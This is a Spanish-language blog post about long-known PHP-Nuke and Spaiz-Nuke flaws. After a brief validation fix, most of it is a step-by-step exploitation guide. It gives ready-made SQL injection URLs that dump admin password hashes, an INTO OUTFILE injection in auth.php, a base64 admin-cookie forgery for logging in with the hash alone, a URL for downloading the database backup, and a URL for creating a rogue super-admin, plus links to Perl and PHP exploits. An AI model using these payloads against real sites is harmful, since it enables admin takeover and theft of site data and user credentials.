En muchos sitios esta dando vuelta la noticia de una nueva falla en el PHP-Nuke, que permite tomar el control de todo el sistema.
Pero hay cosas que muchos no tiene claro todavía, por eso aquí las explico, y doy mas detalles sobre el tema…..Te puede descargar los archivos ya modificados AQUÍ
Primero: La falla NO es en el archivo modules.php, sino
que esta presente en los módulos Downloads y Weblinks, entre otros. El archivo modules.php solo se encarga de incluir los archivos de cada modulo para que así la URL quede mas presentable.
Por eso el advisorie:
http://www.securityfocus.com/archive/1/340664
Esta mal desde un principio. Otra cosa para aclarar, que podriamos llamar:
Segundo: Esta falla no tiene nada de nueva, ya que es la misma
descubierta para las versiones:
- PHP-Nuke 6.0
- PHP-Nuke 6.5 RC3
- PHP-Nuke 6.5 RC2
- PHP-Nuke 6.5 RC1
- PHP-Nuke 6.5 FINAL
- PHP-Nuke 6.5 BETA 1
- PHP-Nuke 6.5
- PHP-Nuke 6.5 with all patches ,
- PHP-Nuke 6.0 with all patches.
- PHP-Nuke 5.5 with all patches
Es por eso que insisto en que no es una nueva falla, ya que en las ultimas versiones del PHP-Nuke se viene usando los mismo módulos de esas versiones anteriormente citadas, y que no han sido parcheadas, por eso es que son vulnerables todas las ultimas versiones del PHP-Nuke, hasta la 6.9, según he comprobado.
No son solo los módulos Downloads y WebLinks, sino todo aquel modulo o pagina que no controle correctamente sus variables.
Una forma rápida y fácil de solucionar esto es controlando el contenido de las variables de la siguiente forma:
# $variable es la que debemos controlar, así que cambia su nombre según te convenga
$variable = addslashes($variable);
if(!isset($variable) || $variable == NULL || !is_numeric ($variable))
{
Header("Location: index.php");
exit();
}
Inyección SQL en PHP-Nuke y Spaiz-Nuke
Eso en el caso de que deba ser numérica, sino basta con quitar el !is_numeric($variable) de la condición del IF.
Bueno me voy a dejar de dar vueltas y pasamos al tema de la explotación de las falla, que no solo sirve para hacer daño, sino que les permitirá testar sus sistemas y saber como solucionar este tipo de fallas.
Bueno, para poder ver los hashes de los admins, debemos hacer una pequeña inserción de código SQL, en las variables $cid de los módulos en cuestión. Por ejemplo:
Para el Módulo Download:
http://victima-nukeada/modules.php?name=Downloads&d_op=viewdownload&cid=2%20UNION%20select%20counter,%20aid,%20pwd%20FROM%20nuke_authors%20
Para el Módulo WebLinks:
http://victima-nukeada/modules.php?name=Web_Links&l_op=viewlink&cid=2%20UNION%20select%20counter,%20pwd,%20aid%20FROM%20nuke_authors%20
Nota: Para que funcione en Spaiz-Nuke debes cambiar
nuke_authors por spnuke_authors
Vulnerabilidad en el archivo auth.php:
Esta vulnerabilidad se encuentra en el archivo auth.php, en la función que comprueba el usuario y la contraseña (Según su descubridor, testado en spaiz-nuke)
En concreto en la variable $aid, porque no se comprueba que el contenido de la misma sea seguro. Mediante el uso de las ”, es posible crear una URL como esta:
http://victima-nukeada/admin.php?op=login&pwd=123&aid=Admin’%20INTO%20OUTFILE%20′/path_to_file/pwd.txt
En este ejemplo se crea un archivo en /path_to_file/pwd.txt que contiene el password (encriptado en MD5) del admin.
Accediendo con la contraseña encriptada:
Un atacante puede autentificarse en el PHP-Nuke incluso sin conocer el password desencriptado.
El método es el siguiente:
Una vez que ya obtuvimos los hashes de los admins, ya sea explotando las fallas en los módulos como en el auth.php, debemos codificar en base64 el usuario y la contraseña obtenidos mediante la inyección SQL (o por cualquier otro método).
Para pasarlo a base64 puedes utilizar cualquier codificador de base64 o puedes hacerlo online en una web como esta:
http://www.isecurelabs.com/base64.php
http://www.rzw.com.ar/base64nuke.php
Buscamos el equivalente en base64 de la siguiente linea:
login:crypt_.passwd:
donde login es el usuario y crypt_.passwd es la contraseña en MD5
Por ejemplo, con esta línea
admin:21232f297a57a5a743894a0e4a801fc3:
obtendríamos algo así:
YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Ahora podemos acceder al panel del administrador usando una URL de este tipo:
http://victima-nukeada/admin.php?admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Una vez dentro te darás cuenta que cuando quieres acceder a cada opción del panel de control te volverá a pedir el password, lo único que tienes que hacer, es copiar el enlace de la sección a la que quieres ingresar y agregarle a dicha URL los mismo que le pusiste al admin.php para ver el panel de administración.
Por ejemplo:
Para bajarte la base de datos:
http://victima-nukeada/admin.php?op=backup&admin=YWRtaW46MjEyMzJmMjk3YTU3YTVhNzQzODk0YTBlNGE4MDFmYzM6
Creando Admins:
Si queremos ahorrarnos el trabajo de andar colocando esos datos en la URL, podemos crearnos un nuevo admin con el siguiente exploit escrito en Perl:
http://rst.void.ru/download/r57nuke.txt
Exploit en PHP en Rynho Zeros Web:
http://www.rzw.com.ar/xptnk.php (Usar con moderación
Puedes hacer esto también, mediante un enlace como el siguiente:
http://victima-nukeada/admin.php?op=AddAuthor&add_radminsuper=1&add_name=[Nick]&add_aid=[Nick]&add_email=[Email]&add_pwd=[Password]&admin=[Hash]
Nick corresponde al que tendrá el nuevo admin, el email lo mismo, el password debe ser colocado en texto plano no el hash, y el Hash, es el obtenido utilizando alguno de los métodos anteriormente explicados y correspondiente al admin del sitio, preferentemente el God (Admin Principal).
Basado en:
http://www.security.nnov.ru/search/document.asp?docid=5201
http://www.cyruxnet.com.ar/phpnuke_modules.htm
Aclaración: Este articulo esta basado en el que Cyruxnet
publico en su web, pero se ha modificado para aclarar ciertos puntos, y agregar otros. Ademas, este texto es con fines didácticos, no nos hacemos responsables del mal uso que se haga de lo aquí explicado.
Por CATOSINO
No hay comentarios:
Publicar un comentario